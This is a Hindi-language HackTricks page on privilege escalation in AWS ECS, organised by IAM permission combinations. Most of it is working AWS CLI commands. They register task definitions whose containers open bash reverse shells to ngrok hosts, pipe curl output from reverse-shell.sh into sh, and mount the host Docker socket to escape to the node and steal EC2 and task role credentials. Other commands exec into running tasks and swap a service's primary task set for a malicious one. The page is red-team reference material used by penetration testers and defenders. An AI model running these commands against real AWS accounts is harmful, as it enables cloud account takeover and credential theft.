AWS - ECS Privesc
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
ECS
ECS के बारे में अधिक जानकारी:
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
एक हमलावर iam:PassRole
, ecs:RegisterTaskDefinition
और ecs:RunTask
अनुमति का दुरुपयोग करके ECS में एक नया टास्क परिभाषा उत्पन्न कर सकता है जिसमें एक दुर्भावनापूर्ण कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाता है।
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
संभावित प्रभाव: एक अलग ECS भूमिका में सीधे प्रिवेस्क।
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
पिछले उदाहरण की तरह, एक हमलावर iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
अनुमतियों का दुरुपयोग करके ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाता है।
हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर इंस्टेंस होना चाहिए।
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
जैसे कि पिछले उदाहरण में, एक हमलावर iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
या ecs:CreateService
अनुमतियों का दुरुपयोग करके ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक दुष्ट कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
वास्तव में, केवल उन अनुमतियों के साथ, यह संभव है कि ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेशों को निष्पादित किया जा सके, जैसे:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
संभावित प्रभाव: किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
यह परिदृश्य पिछले वाले के समान है लेकिन iam:PassRole
अनुमति के बिना।
यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, तो आप एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं ताकि नोड पर भाग जाएं और EC2 IAM भूमिका और अन्य ECS कंटेनरों की भूमिकाएं चुरा सकें जो नोड में चल रही हैं।
आप यहां तक कि अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि नोड अनुभाग में प्रिवेस्क में चर्चा की गई है)।
warning
यह हमला केवल तभी संभव है जब ECS क्लस्टर EC2 उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं।
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
एक हमलावर के पास ecs:ExecuteCommand
, ecs:DescribeTasks
होने पर वह कमांड्स को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और उससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको विवरण अनुमति की आवश्यकता है क्योंकि aws ecs execute-command
चलाने के लिए यह आवश्यक है)।
हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को ExecuteCommand एजेंट चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)।
इसलिए, हमलावर कोशिश कर सकता है:
- हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- यदि उसके पास
ecs:RunTask
है, तोaws ecs run-task --enable-execute-command [...]
के साथ एक कार्य चलाएँ। - यदि उसके पास
ecs:StartTask
है, तोaws ecs start-task --enable-execute-command [...]
के साथ एक कार्य चलाएँ। - यदि उसके पास
ecs:CreateService
है, तोaws ecs create-service --enable-execute-command [...]
के साथ एक सेवा बनाएँ। - यदि उसके पास
ecs:UpdateService
है, तोaws ecs update-service --enable-execute-command [...]
के साथ एक सेवा अपडेट करें।
आप इन विकल्पों के उदाहरण पिछले ECS प्रिवेस्क अनुभागों में पा सकते हैं।
संभावित प्रभाव: कंटेनरों से जुड़े एक अलग भूमिका में प्रिवेस्क।
ssm:StartSession
जांचें कि आप ssm प्रिवेस्क पृष्ठ में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि ECS में प्रिवेस्क हो सके:
iam:PassRole
, ec2:RunInstances
जांचें कि आप ec2 प्रिवेस्क पृष्ठ में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि ECS में प्रिवेस्क हो सके:
?ecs:RegisterContainerInstance
TODO: क्या किसी अन्य AWS खाते से एक उदाहरण पंजीकृत करना संभव है ताकि कार्य उन मशीनों के तहत चलाए जाएँ जो हमलावर द्वारा नियंत्रित हैं??
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO: इसका परीक्षण करें
एक हमलावर जिसके पास अनुमतियाँ हैं ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, और ecs:DescribeTaskSets
वह एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है। इससे हमलावर को सेवा के भीतर मनमाना कोड निष्पादित करने की अनुमति मिलती है।
bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
संभावित प्रभाव: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है।
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।